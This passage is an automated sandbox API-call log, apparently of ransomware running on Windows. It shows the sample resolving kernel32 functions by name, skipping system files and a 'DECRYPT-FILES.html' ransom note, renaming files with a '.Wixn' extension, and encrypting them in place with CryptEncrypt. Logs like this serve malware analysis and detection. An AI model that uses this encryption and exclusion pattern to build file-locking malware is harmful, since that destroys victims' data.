(lpString="CREATENAMEDPIPEA") returned 16 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0147.604] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0147.604] lstrlenA (lpString="CREATEPIPE") returned 10 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0147.604] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0147.604] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0147.604] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0147.604] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0147.604] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0147.605] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0147.605] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0147.605] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0147.605] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0147.605] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0147.605] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0147.605] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0147.605] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0147.605] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0147.605] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0147.605] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0147.605] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0147.605] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0147.605] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0147.605] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0147.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0147.606] lstrlenA (lpString="CREATETHREAD") returned 12 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0147.606] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0147.606] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0147.606] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0147.606] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0147.606] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0147.606] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0147.606] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0147.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0147.607] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.Wixn") returned 47 [0147.607] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.Wixn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.wixn"), dwFlags=0x0) returned 1 [0147.607] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.608] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.608] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.608] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0147.608] lstrcmpiW (lpString1="Rotate4.ico", lpString2="DECRYPT-FILES.html") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="autorun.inf") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="boot.ini") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="desktop.ini") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="ntuser.dat") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="iconcache.db") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="bootsect.bak") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="ntuser.dat.log") returned 1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="thumbs.db") returned -1 [0147.609] lstrcmpiW (lpString1="Rotate4.ico", lpString2="Bootfont.bin") returned 1 [0147.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0147.609] lstrlenW (lpString="Rotate4.ico") returned 11 [0147.609] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0147.609] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate4.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" [0147.609] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0147.610] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0147.610] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0147.611] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0147.691] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0147.691] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0147.691] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.691] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0147.691] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0147.692] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.692] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0147.692] CloseHandle (hObject=0x5f8) returned 1 [0147.692] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.692] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0147.693] CloseHandle (hObject=0x0) returned 0 [0147.693] CloseHandle (hObject=0x5f4) returned 1 [0147.694] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.694] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.695] GetTickCount () returned 0x3a317 [0147.695] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.695] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0147.695] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0147.695] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.696] lstrlenA (lpString="kernel32.dll") returned 12 [0147.696] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0147.696] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0147.696] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0147.696] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0147.696] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0147.696] lstrlenA (lpString="ADDATOMA") returned 8 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0147.696] lstrlenA (lpString="ADDATOMW") returned 8 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0147.696] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0147.696] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0147.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0147.697] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0147.697] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0147.697] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0147.697] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0147.697] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0147.697] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0147.697] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0147.697] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0147.697] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0147.697] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0147.697] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0147.697] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0147.697] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0147.697] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0147.697] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0147.697] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0147.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0147.698] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0147.698] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0147.698] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0147.698] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0147.698] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0147.698] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0147.698] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0147.698] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0147.698] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0147.698] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0147.698] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0147.698] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0147.698] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0147.698] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0147.698] lstrlenA (lpString="BACKUPREAD") returned 10 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0147.698] lstrlenA (lpString="BACKUPSEEK") returned 10 [0147.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0147.699] lstrlenA (lpString="BACKUPWRITE") returned 11 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0147.699] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0147.699] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0147.699] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0147.699] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0147.699] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0147.699] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0147.699] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0147.699] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0147.699] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0147.699] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0147.699] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0147.699] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0147.699] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0147.699] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0147.699] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0147.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0147.700] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0147.700] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0147.700] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0147.700] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0147.700] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: 